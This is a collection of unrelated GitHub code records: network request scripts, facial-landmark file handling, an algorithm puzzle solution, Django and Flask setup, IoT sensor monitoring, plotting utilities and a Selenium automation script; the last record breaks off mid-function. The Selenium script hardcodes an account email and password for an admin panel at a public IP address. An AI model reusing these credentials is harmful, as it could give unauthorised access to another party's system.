+{"seq_id":"27299687490","text":"#!/usr/bin/python3\n\"\"\"Send POST request with letter as parameter\"\"\"\n\nimport requests\nimport sys\n\n\nif __name__ == \"__main__\":\n if len(sys.argv) > 1:\n param = {'q': sys.argv[1]}\n else:\n param = {'q': ''}\n\n r = requests.post('http://0.0.0.0:5000/search_user', data=param)\n try:\n if not r.json():\n print(\"No result\")\n else:\n uid = r.json().get('id')\n name = r.json().get('name')\n print(\"[{}] {}\".format(uid, name))\n except ValueError:\n print(\"Not a valid JSON\")\n","repo_name":"Orumgbe/alx-higher_level_programming","sub_path":"0x11-python-network_1/8-json_api.py","file_name":"8-json_api.py","file_ext":"py","file_size_in_byte":552,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"72895457192","text":"\"\"\"This module aims to read/write files related to the fee module.\nThis module helps generating the landmark points or features json files.\n\"\"\"\nimport json\nimport fee.landmarks\nimport cv2\nimport numpy as np\nimport os\nimport glob\nfrom fee.classification import Expression as Exp\nfrom fee.data import FlandmarksDataStorage\nfrom fee.data import FlandmarksData\nfrom fee.landmarks import FLandmarks\nfrom fee.utils import print_processing\n\n\ndef get_picture_landmarks(filepath, predictor, logs=True):\n \"\"\"\n Do the doc!\n \"\"\"\n if logs:\n print(\"Processing file: {}\".format(filepath))\n frame = cv2.imread(filepath)\n lm = FLandmarks()\n lm.extract_points(frame, predictor)\n return lm\n if logs:\n print('\\n')\n\n\ndef get_video_landmarks(filepath, predictor, logs=True):\n \"\"\"\n Generator that return a tuple of the id and the landmarks of a frame.\n\n Return :\n - The frame id is basically the index of the frame in the whole video.\n - The frame landmarks is a FLandmarks (see fee.landmarks) filled with the\n frame.\n\n Parameters :\n - filepath, the video file path. Required.\n - predictor, the dlib predictor object. Required.\n - logs, True for printing the parsing progress. False otherwise.\n\n Examples :\n\n import dlib\n from fee.io import get_video_landmarks\n\n # Print the bounds of the first face found in each frame of the video.\n path = './video.mp4'\n predictor = dlib.shape_predictor('./fee/sp68fl.dat')\n for id, landmarks in get_video_landmarks(path, predictor):\n print(lm.get_bounds())\n \"\"\"\n if logs:\n print(\"Processing file: {}\".format(filepath))\n # Open video file\n cap = cv2.VideoCapture(filepath, cv2.CAP_FFMPEG)\n frame_count = int(cap.get(cv2.CAP_PROP_FRAME_COUNT))\n frame_id = 0\n # Loop for each frame of the video.\n while(cap.isOpened()):\n if logs:\n print_processing(float(frame_id/frame_count))\n ret, frame = cap.read()\n if ret:\n lm = FLandmarks()\n lm.extract_points(frame, predictor)\n yield (frame_id, lm)\n else:\n cap.release()\n frame_id += 1\n if logs:\n print('\\n')\n\n\ndef open_landmarks_files(folderpath, extension='csv', reading_mode='r'):\n \"\"\"Write some doc.\"\"\"\n type = '*.'+extension\n for id, f in enumerate(glob.glob(os.path.join(folderpath, type))):\n yield open(f, reading_mode)\n\n\ndef read_landmarks_file(file, is_video=True, ignore_first_line=True):\n \"\"\"Write some doc.\"\"\"\n if ignore_first_line:\n line = file.readline()\n line = file.readline()\n while line != \"\":\n pos = 0\n line = line.split(',')\n # The source file path\n filepath = line[pos]\n pos += 1\n # The expressions\n expressions = line[pos].split(' ')\n pos += 1\n # The frame id\n if is_video:\n frame_id = int(line[pos])\n pos += 1\n # The bounds of the landmark points.\n # If there are no bounds, it means dlib haven't found any landmarks,\n # so we return None. Otherwise, we keep parsing.\n bounds = None\n points = None\n if line[pos] != '':\n bounds = [int(i) for i in line[pos].split(' ')]\n bounds = {'left' : bounds[0],\n 'top' : bounds[1],\n 'width' : bounds[2],\n 'height': bounds[3]}\n pos += 1\n # The landmark points\n points = [int(i) for i in line[pos].split(' ')]\n line = file.readline()\n if is_video:\n yield (filepath, frame_id, expressions, bounds, points)\n else:\n yield (filepath, expressions, bounds, points)\n return None\n\n\n\n\n\ndef print_csv_line(file, elems):\n \"\"\"\n Write a line in a csv file.\n\n Parameters :\n - file, the output file. Required.\n - elems, a list of tuples category & content. The following category can\n be writen on the output file :\n - 'source_file' : the path of the source file.\n - 'expression' : A single fee.classification.Expression\n - 'expressions' : A list of fee.classification.Expression\n - 'frame_id' : An integer\n - 'flandmarks_bounds' : The bounds of a fee.landmarks.FLandmarks\n - 'flandmarks_points' : The points of a fee.landmarks.FLandmarks\n\n Example :\n\n import cv2\n import dlib\n from fee.classification import Expression as Exp\n from fee.landmarks import FLandmarks\n from fee.io import print_csv_line\n\n # Get the landmark points from a picture\n path = './my_frame.jpeg'\n image = cv2.imread(path)\n predictor = dlib.shape_predictor('./fee/sp68fl.dat')\n lm = FLandmarks()\n lm.extract_points(image, predictor)\n\n # Print the landmarks in a csv file\n output_file = open('./output.csv', 'w')\n output_file.write('file,expressions,bounds,points')\n print_csv_line(output_file,\n [('source_file' , path ),\n ('expressions' , [Exp.FEAR, Exp.ANGER]),\n ('flandmarks_bounds', lm.get_bounds() ),\n ('flandmarks_points', lm.get_all_points() )])\n \"\"\"\n s = \"\"\n for i, tuple in enumerate(elems):\n arg, elem = tuple\n if arg == \"source_file\":\n s += elem\n elif arg == \"expression\":\n s += elem.to_str()\n elif arg == \"expressions\":\n s += (' ').join(e.to_str() for e in elem)\n elif arg == \"frame_id\":\n s += str(elem)\n elif arg == \"flandmarks_bounds\":\n bounds = elem\n if bounds is not None:\n s += str(bounds[\"left\"])+\" \"+str(bounds[\"top\"])+\" \"\n s += str(bounds[\"width\"])+\" \"+str(bounds[\"height\"])\n elif arg == \"flandmarks_points\":\n s += (' ').join(str(e) for e in elem)\n else:\n print(\"Error: arg \"+arg+\" unknown in fee.io.print_csv_line.\")\n exit()\n if i < len(elems) - 1:\n s += ','\n file.write(s+'\\n')\n\n# File creation ##############################################################\n# ############################################################################\n\n\ndef create_dataset_json(filepath, dataset):\n \"\"\"Create a json file with the dataset.\n\n Param: filepath, string. Path of the file to write.\n Param: dataset, json object. The dataset to write.\n \"\"\"\n file = open(filepath, 'w')\n file.write(json.dumps(dataset))\n file.close()\n\n\n# Read JSON Dataset Files ####################################################\n# ############################################################################\n\ndef get_dataset_from_multiple_json(folder_path):\n datas = FlandmarksDataStorage()\n for id, f in enumerate(glob.glob(os.path.join(folder_path, \"*.json\"))):\n # Open the data file\n src = json.load(open(f, 'r'))[\"datas\"]\n for j, src_elem in enumerate(src):\n data = FlandmarksData(src_elem[\"file\"],\n Exp.from_str(src_elem[\"oclass\"]))\n # Save the n frames points\n for pos in range(0, len(src_elem[\"values\"])):\n if src_elem[\"values\"][pos] is not None:\n fl = FLandmarks()\n fl.set_points(src_elem[\"values\"][pos][\"points\"])\n data.add_flandmarks(fl)\n else:\n data.add_flandmarks(None)\n datas.add_element(data)\n return datas\n\ndef get_dataset_from_csv(csv_path):\n datas = FlandmarksDataStorage()\n file = open(csv_path)\n # the first line are title, just ignore\n file.readline()\n # Job starts here\n line = file.readline()\n EXPRESSIONS = [Exp.NEUTRAL, Exp.HAPPINESS, Exp.SURPRISE,\n Exp.SADNESS, Exp.ANGER, Exp.DISGUST,\n Exp.FEAR, Exp.CONTEMPT]\n while line != \"\":\n exp = line.split(',')[0].replace('\\n','')\n exp = EXPRESSIONS[int(exp)]\n # CONTINUER ICI, LA J'AI TROP LA FLEMME\n cat = line.split(',')[2].replace('\\n','')\n points = line.split(',')[1].split(' ')\n points = np.asarray(points)\n points = points.astype('uint8')\n data = FlandmarksData(\"no file\", exp)\n # Save the n frames points\n fl = FLandmarks()\n fl.set_points(points)\n data.add_flandmarks(fl)\n datas.add_element(data)\n line = file.readline()\n return datas\n\ndef get_dataset_from_json(filepath):\n \"\"\"Create a json file with the dataset.\n\n Param: filepath, string. Path of the file to write.\n \"\"\"\n file = open(filepath, 'r')\n return json.loads(file.read())\n\n# JSON Structs ###############################################################\n# ############################################################################\n\n\ndef features_json(name, infos=\"\"):\n \"\"\"Return a json object for the features saving.\n\n Param: name, string. Name of the dataset.\n Param: infos, string. Some information on the set.\n \"\"\"\n return {\n \"name\": name,\n \"type\": \"FEATURES\",\n \"infos\": infos,\n \"datas\": []\n }\n\n\ndef landmarks_json(name, infos=\"\", normalized=\"NOT\"):\n \"\"\"Return a json object for the landmarks saving.\n\n Param: name, string. Name of the dataset.\n Param: infos, string. Some information on the set.\n Param: normalized, string. Tell If the points were normalized & which way.\n \"\"\"\n return {\n \"name\": name,\n \"type\": \"LANDMARKS\",\n \"infos\": infos,\n \"datas\": [],\n \"normalized\": normalized\n }\n\n\ndef get_landmark_points_json(shapes, cat, normalized=\"False\"):\n \"\"\"Return a list of json struct with the points informations.\n\n The returned list contains some objects containing an array for the landmark\n points coordinates and the boundaries of the points.\n\n Param: shapes, list. List of extracted shapes (see dlib).\n Param: cat, landmarks.Cat. The landmarks points category.\n Param: normalized, boolean. True if the data must be normalized.\n False otherwize.\n \"\"\"\n values = []\n # Retrieve the points wanted.\n for ids, shape in enumerate(shapes):\n if shape is not None:\n values.append({\n \"points\": fee.landmarks.get_points(shape, cat),\n \"bounds\": fee.landmarks.get_bounds(shape, cat)\n })\n else:\n values.append(None)\n return values\n\n# Video extractions ##########################################################\n# ############################################################################\n\ndef get_n_equidistant_frames(filepath, frames_count, logs=True):\n \"\"\"Return an array of n frame from a video.\"\"\"\n if logs:\n print(\"Processing file: {}\".format(filepath))\n # Open the video\n cap = cv2.VideoCapture(filepath)\n # get total number of frames\n totalFrames = cap.get(cv2.CAP_PROP_FRAME_COUNT)\n # check for valid frame number\n if frames_count < 0 or frames_count > totalFrames:\n return None\n # Get the frames indexes\n indexes = np.linspace(0,\n totalFrames,\n num=frames_count,\n dtype=\"int32\").tolist()\n frames = []\n index = indexes.pop(0)\n # Loop over the frames\n i = 0\n while i < totalFrames:\n ret, frame = cap.read()\n if i == index:\n frames.append(frame)\n if len(indexes) == 0:\n break\n else:\n index = indexes.pop(0)\n i += 1\n cap.release()\n return frames\n\n\ndef get_landmarks_shapes_from_video(filepath, predictor, logs=True):\n \"\"\"Return an array of landmarks shapes (see dlib) from a video.\"\"\"\n if logs:\n print(\"Processing file: {}\".format(filepath))\n cap = cv2.VideoCapture(filepath, cv2.CAP_FFMPEG)\n # Array for the features.\n shapes = []\n # Loop for each frame of the video.\n while(cap.isOpened()):\n if logs:\n print('.', sep='', end='', flush=True)\n ret, frame = cap.read()\n if ret:\n # Get the shapes from the frame & append the first one.\n # This would need to be refactored for multiple faces detection.\n shape = fee.landmarks.get_landmark_points(frame, predictor)\n if len(shape) > 0:\n shapes.append(shape[0])\n else:\n shapes.append(None)\n else:\n cap.release()\n if logs:\n print('\\n')\n return shapes\n","repo_name":"Yepikae/fee","sub_path":"Lib/io.py","file_name":"io.py","file_ext":"py","file_size_in_byte":12697,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
+{"seq_id":"72177007593","text":"import copy\r\n\r\ndef boom(n, w, h, board, destroy):\r\n while len(destroy) != 0:\r\n x, y, num = destroy[0][0], destroy[0][1], destroy[0][2]\r\n board[y][x] = 0\r\n for i in range(1, num):\r\n if x+i < w:\r\n if board[y][x+i] != 0:\r\n destroy.append([x+i, y, board[y][x+i]])\r\n else:\r\n break\r\n for i in range(1, num):\r\n if x-i >= 0:\r\n if board[y][x-i] != 0:\r\n destroy.append([x-i, y, board[y][x-i]])\r\n else:\r\n break\r\n for i in range(1, num):\r\n if y+i < h:\r\n if board[y+i][x] != 0:\r\n destroy.append([x, y+i, board[y+i][x]])\r\n else:\r\n break\r\n for i in range(1, num):\r\n if y-i >= 0:\r\n if board[y-i][x] != 0 :\r\n destroy.append([x, y-i, board[y-i][x]])\r\n else:\r\n break\r\n del destroy[0]\r\n for i in range(h-1, -1, -1):\r\n for j in range(w):\r\n if board[i][j] != 0:\r\n for k in range(i+1, h):\r\n if board[k][j] == 0:\r\n board[k][j] = board[k-1][j]\r\n board[k-1][j] = 0\r\n else:\r\n break\r\n\r\ndef solve(n, w, h, board, answer):\r\n if n == 0:\r\n tmp = 0\r\n for i in range(h):\r\n for j in range(w):\r\n if board[i][j] != 0:\r\n tmp += 1\r\n answer.append(tmp)\r\n return\r\n for i in range(w):\r\n save = copy.deepcopy(board)\r\n destroy = []\r\n for j in range(h):\r\n if board[j][i] != 0:\r\n destroy.append([i, j, board[j][i]])\r\n break\r\n if len(destroy) != 0:\r\n boom(n, w, h, board, destroy)\r\n solve(n-1, w, h, board, answer)\r\n board = copy.deepcopy(save)\r\n\r\nfor t in range(int(input())):\r\n n, w, h = map(int, input().split())\r\n board = [list(map(int, input().split())) for _ in range(h)]\r\n answer = []\r\n solve(n, w, h, board, answer)\r\n answer.sort()\r\n print('#' + str(t+1), str(answer[0]))","repo_name":"khw5123/Algorithm","sub_path":"SWExpert/5656. [모의 SW 역량테스트] 벽돌 깨기.py","file_name":"5656. [모의 SW 역량테스트] 벽돌 깨기.py","file_ext":"py","file_size_in_byte":2202,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"39176562035","text":"from rest_framework.routers import DefaultRouter\nfrom django.urls import path, include\nfrom user import views\n\nrouter = DefaultRouter()\nrouter.register(\"users/lastplayed\", views.UserPlaySessionViewSet)\nrouter.register(\"users\", views.UserViewSet)\n\napp_name = \"user\"\n\nurlpatterns = [\n path('', include(router.urls)),\n path('token/', views.CreateTokenView.as_view(), name='token')\n]\n","repo_name":"bruno5barros/GameAPI","sub_path":"app/user/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":386,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"27946306905","text":"import re\nfrom nonebot.adapters.onebot.v11 import Message\nfrom nonebot.adapters.onebot.v11.permission import GROUP\nfrom nonebot import on_regex, logger\nfrom nonebot.adapters import Event\nfrom manager import Config\nfrom services.log import logger\nfrom .analysis_bilibili import b23_extract, bili_keyword\n\n__plugin_name__ = \"b站转发解析 [Hidden]\"\n__plugin_task__ = {\"bilibili_parse\": \"b站转发解析\"}\n\n\nConfig.add_plugin_config(\n \"_task\",\n \"DEFAULT_BILIBILI_PARSE\",\n True,\n help_=\"被动 b站转发解析 进群默认开关状态\",\n default_value=True,\n)\nConfig.add_plugin_config(\n \"bili_parse\",\n \"ANALYSIS_BLACKLIST\",\n [\"3200971578\"],\n help_=\"b站解析黑名单qq\",\n default_value=[\"3200971578\"],\n)\n\nblacklist = Config.get_config(\"bili_parse\", \"analysis_blacklist\", [])\n\nanalysis_bili = on_regex(\n r\"(b23.tv)|(bili(22|23|33|2233).cn)|(.bilibili.com)|(^(av|cv)(\\d+))|(^BV([a-zA-Z0-9]{10})+)|\"\n r\"(\\[\\[QQ小程序\\]哔哩哔哩\\])|(QQ小程序]哔哩哔哩)|(QQ小程序]哔哩哔哩)\",\n flags=re.I,\n priority=1,\n permission=GROUP,\n block=False\n)\n\n\n@analysis_bili.handle()\nasync def analysis_main(event: Event) -> None:\n global blacklist\n text = str(event.get_message()).strip()\n if blacklist and event.get_user_id() in blacklist:\n logger.warning(f\"User {event.get_user_id()} 处于黑名单,取消b站转发解析!\")\n return\n if re.search(r\"(b23.tv)|(bili(22|23|33|2233).cn)\", text, re.I):\n # 提前处理短链接,避免解析到其他的\n text = await b23_extract(text)\n if hasattr(event, \"group_id\"):\n group_id = event.group_id\n elif hasattr(event, \"channel_id\"):\n group_id = event.channel_id\n else:\n group_id = None\n msg = await bili_keyword(group_id, text)\n if msg:\n await analysis_bili.finish(\"[[_task|bilibili_parse]]\"+Message(msg))\n","repo_name":"cYanosora/kndbot","sub_path":"plugins/parse_bilibili_json/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1896,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"72"}
+{"seq_id":"9039779096","text":"\"\"\"\nTESTING FILE:\nHumidity Level for Emergency Alert changed to > 80%\n\"\"\"\nimport grovepi\nimport time\nfrom datetime import datetime, timedelta\nfrom grove_rgb_lcd import *\nimport paho.mqtt.client as mqtt\n\nth_sensor_port = 7\nrotary_angle_sensor_port = 0\nrelay_port = 3\nbuzzer_port = 2\nlcd_port = 1\n\nsetRGB(0, 128, 64)\n\ngrovepi.pinMode(th_sensor_port, \"INPUT\")\ngrovepi.pinMode(rotary_angle_sensor_port, \"INPUT\")\ngrovepi.pinMode(relay_port, \"OUTPUT\")\ngrovepi.pinMode(buzzer_port, \"OUTPUT\")\n\ntemperature = 0\nhumidity = 0\nHVAC_on = False\n\ndef on_connect(client, userdata, flags, rc):\n print(\"Connected to server with result code \"+str(rc))\n\nif __name__ == '__main__':\n client = mqtt.Client()\n client.on_connect = on_connect\n client.connect(host=\"172.20.10.4\", port=1883, keepalive=60)\n client.loop_start()\n time.sleep(1)\n\n next_publish_time = datetime.now() + timedelta(seconds=5)\n\n while True:\n [temperature, humidity] = grovepi.dht(th_sensor_port, 0)\n temperature = (temperature * 1.8) + 32\n\n dial = grovepi.analogRead(rotary_angle_sensor_port)\n temp_range = (dial * 50) / 1023 + 40\n\n now = datetime.now()\n dateinfo = now.strftime(\"%m/%d/%Y\")\n timeinfo = now.strftime(\"%H:%M:%S\")\n dateandtime = f\"{dateinfo} {timeinfo}\"\n\n if temperature > temp_range:\n grovepi.digitalWrite(relay_port, 1)\n HVAC_on = True\n else:\n grovepi.digitalWrite(relay_port, 0)\n HVAC_on = False\n\n emer_str = \"HIGH HUMIDITY (POSSIBLE FIRE)\"\n if humidity > 80:\n grovepi.digitalWrite(buzzer_port, 1)\n client.publish(\"imagalla/emergencyalert\", \"{}\".format(emer_str))\n setRGB(200,0,0)\n else:\n grovepi.digitalWrite(buzzer_port, 0)\n setRGB(0, 128, 64)\n \n HVAConoff = \"\"\n if HVAC_on == True:\n setText_norefresh(\"DT:{0:.0f}F AC ON \\nT:{1:.0f}F H:{2:.0f}%\".format(temp_range, temperature, humidity))\n HVAConoff = \"ON\"\n else:\n setText_norefresh(\"DT:{0:.0f}F AC OFF\\nT:{1:.0f}F H:{2:.0f}%\".format(temp_range, temperature, humidity)) \n HVAConoff = \"OFF\"\n\n if now >= next_publish_time:\n client.publish(\"imagalla/datetime\", \"{}\".format(dateandtime))\n print(\"Publishing datetime data\")\n client.publish(\"imagalla/temp\", \"{}\".format(temperature))\n print(\"Publishing temperature data\")\n client.publish(\"imagalla/humid\", \"{}\".format(humidity))\n print(\"Publishing humidity data\")\n client.publish(\"imagalla/HVAC\", \"{}\".format(HVAConoff))\n print(\"Publishing HVAC data\")\n next_publish_time = now + timedelta(seconds=5)","repo_name":"imagallanes24/EE250-Project","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2753,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"72995968873","text":"from selenium import webdriver\nimport time\nfrom random import choice\n\nrandomlist = [0] * 35 + [1] * 3 + [2] * 2\n\noptions = webdriver.ChromeOptions()\nprefs = {\"download.default_directory\": \"C:\\\\Users\\\\cheng.lu\\\\Desktop\\\\yq_mid\\\\\"}\noptions.add_experimental_option(\"prefs\", prefs)\n\n\nclass driver2():\n\n def __init__(self):\n self.download_path = \"C:\\\\Users\\\\cheng.lu\\\\Desktop\\\\yq_mid\\\\\"\n # 使用driver2进行下载的压缩包,会进入这个文件夹\n self.upload_path = \"C:\\\\Users\\\\cheng.lu\\\\Desktop\\\\yq_res\\\\\"\n # yq_task 处理完压缩文件以后的结果文件夹\n self.driver = webdriver.Chrome(options=options)\n self.zhanghao = 'driver2@connext.com.cn'\n self.mima = 'driver22'\n\n def login(self):\n self.driver.set_window_size(1600, 850)\n self.driver.get('http://47.103.81.169/Admin')\n\n self.driver.find_element_by_xpath(\n '//input[@name=\"username\"]').send_keys(self.zhanghao) # 输入账号\n self.driver.find_element_by_xpath(\n '//input[@name=\"password\"]').send_keys(self.mima) # 输入密码\n self.driver.find_element_by_xpath(\n '//div[@class=\"geetest_radar_tip\"]').click() # 点击自动验证\n self.driver.find_element_by_xpath(\n '//button[@class=\"layui-btn btn-submit\"]').click() # 点击登录\n time.sleep(5)\n\n def get_yuqingWindow(self):\n # 进入语义分析的模块\n self.driver.find_element_by_xpath('//a[@data-id=\"187\"]').click()\n time.sleep(1)\n self.driver.find_element_by_xpath('//a[@data-id=\"189\"]').click()\n time.sleep(1)\n\n # 第一层iframe\n xf = self.driver.find_element_by_xpath(\n '//iframe[@onload=\"layui.layer.close(1)\"]')\n self.driver.switch_to.frame(xf)\n\n def get_yuqingTask(self, num=0):\n # 选择运行中\n self.driver.find_element_by_xpath('//input[@type=\"text\"]').click()\n time.sleep(1)\n self.driver.find_element_by_xpath('//dd[@lay-value=\"0\"]').click()\n time.sleep(1)\n self.driver.find_element_by_xpath('//span[@id=\"search\"]').click()\n time.sleep(2)\n\n # 获取Number\n filepath = '//tr[@data-index=\"%s\"]//div[contains(@class,\"layui-table-cell\")]' % num\n self.taskNo = self.driver.find_element_by_xpath(filepath).text\n # 下载\n download_path = '//tr[@data-index=\"%s\"]//a[@lay-event=\"download_file\"]' % num\n self.driver.find_element_by_xpath(download_path).click()\n time.sleep(2)\n\n def upload_yuqingTask(self, result_fileName):\n # 上传 点击上传的按钮 进入第二层iframe的前台\n uploadpath = '//div[text()=\"%s\" ]/ancestor::tr//a[@lay-event=\"upload\"]' % self.taskNo\n self.driver.find_element_by_xpath(uploadpath).click()\n\n #------------→→→→ 进入第二层iframe\n xf1 = self.driver.find_element_by_xpath('//iframe[@scrolling=\"auto\"]')\n self.driver.switch_to.frame(xf1)\n\n time.sleep(2)\n self.driver.find_element_by_xpath(\n '//input[@type=\"file\"]').send_keys(self.upload_path + result_fileName + '【分析结果】.xlsx')\n # 点击上传按钮\n time.sleep(3)\n self.driver.find_element_by_xpath('//button[@id=\"upload\"]').click()\n\n # 跳出第二层iframe,回到第一层iframe ←←←--------\n self.driver.switch_to.parent_frame()\n\n def tiaochu_iframe(self):\n self.driver.switch_to.parent_frame()\n\n def close_driver(self):\n self.driver.close()\n\nif __name__ == '__main__':\n from con_yuqing import *\n lc = driver2()\n lc.login()\n\n while True:\n try:\n lc.get_yuqingWindow()\n\n iii = choice(randomlist)\n print('----------------%s' % iii)\n\n lc.get_yuqingTask(iii)\n time.sleep(2)\n\n try:\n nam1 = yq_task()\n lc.upload_yuqingTask(nam1)\n except:\n lc.upload_yuqingTask('错误提示') \n\n \n except Exception as e:\n time.sleep(10)\n print(e)\n try:\n clean_all()\n lc.tiaochu_iframe()\n except:\n pass\n","repo_name":"Ausar0109/yqxgp","sub_path":"driver2.py","file_name":"driver2.py","file_ext":"py","file_size_in_byte":4230,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"2085591276","text":"\"\"\"\r\n CSC101 - Programming Assignment 1\r\n 7.4 - The Fan class\r\n Sean X.\r\n Nov. 2nd, 2021\r\n\r\n Summary\r\n This program creates a Fan class that represents a fan. It then tests the Fan class by creating two fans and turning one on, the other off. After, it prints out the information of the fans.\r\n\"\"\"\r\n\r\n\r\nclass Fan:\r\n \"\"\"A class that represents a fan\"\"\"\r\n\r\n SLOW: int = 1\r\n MEDIUM: int = 2\r\n FAST: int = 3\r\n\r\n def __init__(\r\n self,\r\n speed: int = SLOW,\r\n radius: float = 5.0,\r\n color: str = \"blue\",\r\n on: bool = False,\r\n ) -> None:\r\n \"\"\"Constructor, set properties according to passed arguments\"\"\"\r\n self.__speed: int = speed\r\n self.__radius: float = radius\r\n self.__color: str = color\r\n self.__on: bool = on\r\n\r\n @property\r\n def speed(self) -> int:\r\n \"\"\"Get the speed\"\"\"\r\n return self.__speed\r\n\r\n @speed.setter\r\n def speed(self, speed: int) -> None:\r\n \"\"\"Set the speed\"\"\"\r\n if speed in (self.SLOW, self.MEDIUM, self.FAST):\r\n self.__speed = speed\r\n else:\r\n raise ValueError(\"Invalid speed\")\r\n\r\n @property\r\n def on(self) -> int:\r\n \"\"\"Get the on state\"\"\"\r\n return self.__on\r\n\r\n @on.setter\r\n def on(self, on: bool) -> None:\r\n \"\"\"Set the on state\"\"\"\r\n if type(on) != bool:\r\n raise ValueError(\"Invalid on state\")\r\n else:\r\n self.__on = on\r\n\r\n @property\r\n def radius(self) -> float:\r\n \"\"\"Get the radius\"\"\"\r\n return self.__radius\r\n\r\n @radius.setter\r\n def radius(self, radius: float) -> None:\r\n \"\"\"Set the radius\"\"\"\r\n if type(radius) != float:\r\n raise ValueError(\"Invalid radius\")\r\n else:\r\n self.__radius = radius\r\n\r\n @property\r\n def color(self) -> str:\r\n \"\"\"Get the color\"\"\"\r\n return self.__color\r\n\r\n @color.setter\r\n def color(self, color: str) -> None:\r\n \"\"\"Set the color\"\"\"\r\n if type(color) != str:\r\n raise ValueError(\"Invalid color\")\r\n else:\r\n self.__color = color\r\n\r\n\r\nfan1: Fan = Fan(speed=Fan.FAST, radius=10, color=\"yellow\")\r\nfan1.on = True\r\n\r\nfan2: Fan = Fan(speed=Fan.MEDIUM, radius=5)\r\nfan2.on = False\r\n\r\nfor fanProperty in (\"speed\", \"radius\", \"color\", \"on\"):\r\n fanPropertyName = fanProperty if fanProperty != \"on\" else \"on state\"\r\n print(f\"Fan1's {fanPropertyName} is {getattr(fan1, fanProperty)}\")\r\n print(f\"Fan2's {fanPropertyName} is {getattr(fan2, fanProperty)}\")\r\n","repo_name":"sean-7777/CS102","sub_path":"Week2/Discussion.py","file_name":"Discussion.py","file_ext":"py","file_size_in_byte":2550,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"11466035353","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jul 25 17:56:37 2019\n\n@author: ayush\n\"\"\"\n\ndef un_sequential(arr,ele):\n pos=0\n found=False\n while posele:\n end=True\n else:\n pos+=1\n return found\n\n\ndef binary(arr,ele):\n first=0\n last=len(arr)-1\n found=False\n while first <= last and not found:\n mid=(first+last)//2\n if arr[mid]==ele:\n found=True\n #for left half part\n else:\n if arr[mid] None:\n for name, subplot in self.state.subplots.items():\n if name not in self.state.data:\n continue\n data = self.state.data[name]\n try:\n subplot.clear()\n subplot.setData(x=data[0], y=data[1])\n except RuntimeError:\n if sip.isdeleted(subplot):\n return\n else:\n raise\n\n @lg.subscriber(INPUT)\n def got_message(self, message: lg.Message) -> None:\n if self.state.plot is not None:\n for name in self.config.styles:\n values = getattr(message, name)\n self.state.data[name] = (\n values[self.config.x_field],\n values[self.config.y_field],\n )\n\n def _add_subplot(self, name: str, style: ScatterPlotStyle) -> None:\n style_dict = asdict(style)\n if style_dict[\"name\"] is None:\n style_dict[\"name\"] = name\n self.state.subplots[name] = self.state.plot.plot(**style_dict)\n self.state.subplots[name].setAlpha(self.config.alpha, False)\n\n def build(self) -> Any:\n self.state.data = {}\n self.state.subplots = {}\n self.state.plot = pg.PlotItem()\n self.state.plot.addLegend(offset=(10, -10))\n if self.config.y_log_mode:\n self.state.plot.setLogMode(y=True)\n if isinstance(self.config.y_range, AutoRange):\n self.state.plot.enableAutoRange(axis=\"y\")\n else:\n self.state.plot.setYRange(*self.config.y_range)\n for position, label in self.config.labels.items():\n self.state.plot.setLabel(position, label)\n for name, style in self.config.styles.items():\n self._add_subplot(name, style)\n self.state.timer = QtCore.QTimer()\n self.state.timer.setInterval(TIMER_INTERVAL)\n self.state.timer.timeout.connect(self.update)\n self.state.timer.start()\n\n return self.state.plot\n\n def stop(self) -> None:\n self.state.timer.stop()\n","repo_name":"facebookresearch/labgraph","sub_path":"extensions/labgraph_viz/labgraph_viz/plots/scatter_plot.py","file_name":"scatter_plot.py","file_ext":"py","file_size_in_byte":3183,"program_lang":"python","lang":"en","doc_type":"code","stars":150,"dataset":"github-code","pt":"72"}
+{"seq_id":"8383489040","text":"from flask import Flask\nfrom web_gui.secret import Secret\nfrom waitress import serve\nfrom datetime import datetime\n\nsite = Flask(__name__)\nsite.config.from_object(Secret)\n\n\n# function to convert military time format to standard AM PM time.\ndef format_datetime(value):\n if value is not None:\n value = str(value)\n time_format = '%I:%M:%S %p'\n convert_time = datetime.strptime(value, '%H:%M:%S')\n converted_value = datetime.strftime(convert_time, time_format)\n return converted_value\n else:\n return value\n\n\n# Add function to jinja filters\nsite.jinja_env.filters['datetime'] = format_datetime\n\nfrom web_gui import routes\n\nserve(site, listen='0.0.0.0:8080')\n","repo_name":"bryanbarton525/baby_tracker","sub_path":"web_gui/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":701,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
+{"seq_id":"29605988580","text":"import os\nimport tensorflow as tf\nfrom math import pi\nfrom random import *\nimport numpy as np\nimport cv2\n\nfrom utils.crucial_points import calculate_car_crucial_points\nfrom utils.distances import dist\n\nimport matplotlib.pyplot as plt\n\ntf.enable_eager_execution()\n\ndef _plot(x_path, y_path, th_path, data, step, n, print=False):\n _, _, free_space, _ = data\n for i in range(len(x_path)):\n x = x_path[i][n]\n y = y_path[i][n]\n th = th_path[i][n]\n cp = calculate_car_crucial_points(x, y, th)\n for p in cp:\n plt.plot(p[:, 0], p[:, 1], 'r*')\n\n for i in range(free_space.shape[1]):\n for j in range(4):\n fs = free_space\n plt.plot([fs[0, i, j - 1, 0], fs[0, i, j, 0]], [fs[0, i, j - 1, 1], fs[0, i, j, 1]])\n #plt.xlim(-25.0, 25.0)\n #plt.ylim(0.0, 50.0)\n # plt.xlim(-15.0, 20.0)\n # plt.ylim(0.0, 35.0)\n #plt.xlim(-35.0, 5.0)\n #plt.ylim(-2.0, 6.0)\n if print:\n plt.show()\n else:\n plt.savefig(\"last_path\" + str(step).zfill(6) + \".png\")\n plt.clf()\n\ndef 